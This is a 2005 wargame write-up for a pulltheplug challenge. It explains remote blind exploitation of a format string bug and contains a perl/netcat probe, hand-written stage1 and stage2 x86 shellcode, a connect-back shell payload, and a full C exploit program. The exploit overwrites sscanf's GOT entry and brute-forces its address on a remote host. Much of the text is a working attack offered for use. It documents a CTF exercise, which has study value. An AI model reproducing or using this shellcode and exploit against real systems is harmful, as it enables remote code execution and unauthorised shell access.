+----------------------------+ | pulltheplug/fu challenge 1 | +----------------------------+ -- remote blind exploitation of a format string bug with multiple staged shellcode -- 2005 by Martin Heistermann / mXn A short warning in the beginning - this paper is written in a very poor english, i'm not a native english speaker. A quick glance at the sourcecode for this level reveals the vulnerability lying in line 73: printf(buf). Short time before the buf was read from the user, line 67:read(fd, buf, sizeof(buf)) and since then nothing happened with it but replacing the first \r and \n occurence with a nullbyte. The real problem is that we dont see the printf output, so we will have to do the exploitation completely blind. I was new to the subject of remote blind exploitation of format string vulns, and my exploits for standard format string vulns were very unreliable, so first thing i did was getting a copy of p59-0x07 and read it. If you're unfamiliar with format string bugs, i'd advise you to read some paper about it. My first try to exploit it looks like this: perl -e'$_=268;print "X"x16,"AAAABBBBCCCCDDDD","--------","%$_\$.08x", "--------","%",$_+1,"\$.08x","--------","%",$_+2,"\$.08x","--------", "%",$_+3,"\$.08x"' | nc lo 1234 it results in [New query: XXXXXXXXXXXXXXXXAAAABBBBCCCCDDDD--------41414141--------42424242 --------43434343--------44444444] Well, with a format string bug we can overwrite (nearly) any adress with any value. I will change the program flow by overwriting the GOT entry of sscanf. The problem is we dont know anything about the remote box, so we neither know the adress of our format string/shellcode, nor the position of the GOT entry. If we bruteforce both, there would be too many possibilities, so i will use a trick from p59-0x07: in line 76 sscanf() is called with our buffer as argument 1: sscanf(buf, making the code we will be jumping have the buf adress as argument. The idea is now to make some really small stage 1 shellcode which will just jump to whatever it is given as argument 1. I will store it in a known position in memory and overwrite the GOT entry with its adress. So next time sscanf is called, it will just jump to our stage1-shellcode, which will then jump to our normal shellcode at the beginning of our buffer. So our malformed request looks like this: | shellcode | fmt string stuff | developing stage1 shellcode --------------------------- To make a call, a program pushes the arguments on the stack, then executes the "call" instruction which will push the eip on the stack. So [esp] is the old eip, and [esp+4] is the first argument. In our case [esp+4] contains the adress we want to jump to, so our shellcode will just consist of jmp [esp+4] The assembly of that is just 4 bytes long: ff 64 24 04 I wrote a test app to test it, guess what it does: --- bite here --- void bazz(){printf("y0 h4x!\n");} int main(){ char code[]="\xff\x64\x24\x04"; void (*run)()=(void *)code; run(bazz); } --- bite here --- Later i had to change stage2-shellcode, and stage1 was too long, so i switched to some other code doing a pop eax and a ret. developing stage2 shellcode --------------------------- Why another stage? Why not just putting some shellcode into the format string, its big enough! Well, I wanted to include a *real* fancy shellcode, so the place in the fmstring would *not* be enough. The 2nd shellcode will just use the existant fd to load the final shellcode and execute it. So we will simply use the read() syscall, which has following arguments: read(int fd, void *buf, size_t count) and syscall number 0x03. So eax will contain 0x03, ebx the fd, ecx the target buffer and edx the number of bytes we want to read. Now the first problem comes up: Where to write? I love self-modifying code, so why not letting read() overwrite our shellcode, so we wont even need to jump to it. We still got our adress in [esp+4], we just need to add some bytes and we can append the new code to the actual code. Next problem: Which fd do we own? We cant trust that its 3, and we dont have a long enough format string to hijack another function which has the fd as argument. So we will use some not very beauty approch: bruteforcing the fd. We just take an initial value, make the syscall, increase the value until the read() succeeds. So i came up with the following: start: mov ecx,[esp+4] ; eip->ecx NOTE: later changed to [esp-4] due to the ; change of stage1 push byte (ende-start ; we want to write at pop edx ; "ende", not in the add ecx,edx ; beginning xor edx,edx ; make edx the highest dec edx ; value push byte 0x03 ; initial fd=3 pop ebx ; fd=3 foo: push byte 0x03 ;syscall-number=3 - we need to do this every pop eax ;time cause eax will contain the return value int 0x80 inc ebx ;increase fd ende: jmp foo ;do it again - if read() succeeded, this jmp ;will be overwritten Well, it seems that the read-syscall doesnt like big numbers as count, so i used a smaller number - but it also doenst like if buf+count is too big, so i implemented a routine to calculate the rest space... Later i noticed it needed too much space, so i replaced it with a static value which gets updated during exploit runtime: push word 0x4141 ; 4141 to easily spot it in the bytestring pop edx On the day i am writing this paper another problem came up, when i tested the final exploit version, i got something like 0xdead4141 in edx, so i cleared the register and then just popped dx(the lower word of edx). stage 3 ------- For stage3 i just took a connect-back-shell for testing and wanted to replace it with something better, but i had several problems and no time in the end, so its just that boring. t3h c0de -------- this is my final exploit, have fun with it: -----------8<-------------- #include #include #include #include #include #include #include #include #include #define REQ_MAX 100 #define BUFSIZE 1024 #define PADDEDSC2 (((sizeof(sc_stage2)>>2)+1)<<2) /* 4 byte padding */ #define TARGETBUFSIZE 1056 /* if the target is compiled with gcc2, this * needs to get changed */ #define DIE(x) {puts(x); exit(-1);} while(0) #define PIE(x) {perror(x);exit(-1);} while(0) #define NUMWRITES 3 char sc_stage1[]="\x58\xc3"; char sc_stage2[]="\x8b\x4c\x24\xfc\x6a\x1a\x5a\x01\xd1\x31\xd2\x66\x68" "\x41\x41" "\x66\x5a\x6a\x03\x5b\x6a\x03\x58\xcd\x80\x43\xeb\xf8"; /* connectback-shell to 127.0.0.1:6666 tcp, from the metasploit project * who the fuck cares for 0bytes? */ char sc_stage3[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd" "\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68" "\x7f\x00\x00\x01" /* ip */ "\x66\x68" "\x1a\x0a" /* port */ "\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43" "\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; unsigned int already_printed; struct ww { unsigned long where,what; }; int addfmtstuff(char *s,int what,int offset) { char temp[BUFSIZE+2]; int address_offset; address_offset=what-already_printed; snprintf(temp,BUFSIZE,"%%%iu" "%%%i$hn",address_offset,offset); /*printf("ap=%i,%i bytes to 0x%x(%i)\n", already_printed,address_offset,what,what);*/ /* debug */ temp[BUFSIZE]=0; strncat(s,temp,REQ_MAX); already_printed=what; } int compareww(const void *w1,const void *w2) { /* needed for qsort() */ return ((struct ww *)w1)->what - ((struct ww *)w2)->what; } int exploitit(struct in_addr ip,short port,int offset,int got,int s1add) { char request[REQ_MAX]; char *fmtstring; int *p; struct ww ww[4]; unsigned int i,sock; struct sockaddr_in addr; *(short int*)(sc_stage2+13)=(short int)(sizeof(sc_stage3)|0x0101); /* OR so we dont have any 0-bytes which would stop printf */ fmtstring=(char *)malloc(REQ_MAX); memset(request,0x42,REQ_MAX); memcpy(request,sc_stage2,sizeof(sc_stage2)-1); /* we dont want to * copy a 0-byte */ ww[0].where=got; ww[0].what=(s1add & 0xffff);/* least significant 2 bytes */ ww[1].where=got+2; ww[1].what=(s1add >>16);/* most significant 2 bytes, usually 0x0804 */ ww[2].where=s1add; ww[2].what=(int)0xffff&*(short *)(sc_stage1+0); /* now we need to order ww by "what" */ qsort(ww,NUMWRITES,sizeof(struct ww),compareww); /*for(i=0;i<3;i++) printf("ww[%i].what=0x%x,ww[%i].where=0x%x\n", i,ww[i].what, i, ww[i].where); *//* debug */ p=(int *)(request+PADDEDSC2); /* insert the adresses to write to * 3 writes, each represents one edge of a tortilla chip */ *(p++)=ww[0].where; *(p++)=ww[1].where; *(p++)=ww[2].where; already_printed=PADDEDSC2+(NUMWRITES*4); fmtstring[0]=0; /* for strcat */ addfmtstuff(fmtstring,ww[0].what,offset); /* first is for doom */ addfmtstuff(fmtstring,ww[1].what,offset+1); /* second is for destruction */ addfmtstuff(fmtstring,ww[2].what,offset+2); /* third is for devastation */ if(PADDEDSC2+(NUMWRITES*4)+strlen(fmtstring)>REQ_MAX) DIE("not enough space in fmtstring...\n"); memcpy(request+PADDEDSC2+(NUMWRITES*4),fmtstring,strlen(fmtstring)); free(fmtstring); if((sock = socket(PF_INET, SOCK_STREAM, 0))==-1) PIE("socket()"); addr.sin_addr=ip; addr.sin_port=port; addr.sin_family = AF_INET; if (connect(sock, (struct sockaddr*)&addr, sizeof(addr))==-1) PIE("connect()"); send(sock,request,REQ_MAX,0); /* n0w r4m 1t 1n70 th31r 4ss! */ send(sock,sc_stage3,sizeof(sc_stage3),0);/* the final shellcode */ close(sock); } int main(int argc,char *argv[]) { struct hostent *host; long got,bf_start,bf_end; struct in_addr ip; int diff; char curropt; curropt=getopt(argc,argv,"hf:b:"); switch(curropt) { case '?': printf("option -h for help\n"); exit(EXIT_FAILURE); case 'f': if(sscanf(optarg,"%x",&bf_start)!=1) exit(EXIT_FAILURE); bf_end=bf_start; break; case 'b': if(sscanf(optarg,"%x-%x",&bf_start,&bf_end)!=2) exit(EXIT_FAILURE); break; case 'h': default: printf("pulltheplug.org/fu Challenge 3 exploit by mXn\n\n"); printf("Usage: %s [OPTION]... \n" "avaible options:\n",argv[0]); printf("\t-h\t\tthis helppage\n"); printf("\t-f \t" " = GOT entry of sscanf(e.g. 0x08049f84)\n"); printf("\t-b \tbruteforce GOT entry in ," " e.g. 0x08049f00-0x08049ffc\n\n"); exit(EXIT_SUCCESS); } if (optind+2>argc) DIE("not enough arguments, option -h for help"); if (!inet_aton(argv[argc-2], &ip)) { if (!(host = gethostbyname(argv[argc-2]))) { herror("gethostbyname()"); exit(-1); } ip=*(struct in_addr*)host->h_addr; } if((bf_start&0x3)!=0) { printf("warning: GOT adress not aligned!\naborting..\n"); exit(EXIT_FAILURE); } diff=bf_start>bf_end?-4:4;/* just for the ability to count backwards*/ for(got=bf_start; (bf_start>bf_end?(got>=bf_end):(got<=bf_end)); got+=diff) { printf("trying got=%p\n",got); /* 0mfg, n0w l3zz pwnz em!11!1 */ exploitit(ip,htons(atoi(argv[argc-1])), TARGETBUFSIZE/4+(PADDEDSC2/4), got,got+4); sleep(1); /* when we dont sleep, we would leave lots * of angry defunct children - you know, being * overtired doesnt help with education */ } return 0; } -----------8<-------------- Finally i'd like to greet the #social ppl on irc.pulltheplug.org for helping me with some problems which came up during exploit development.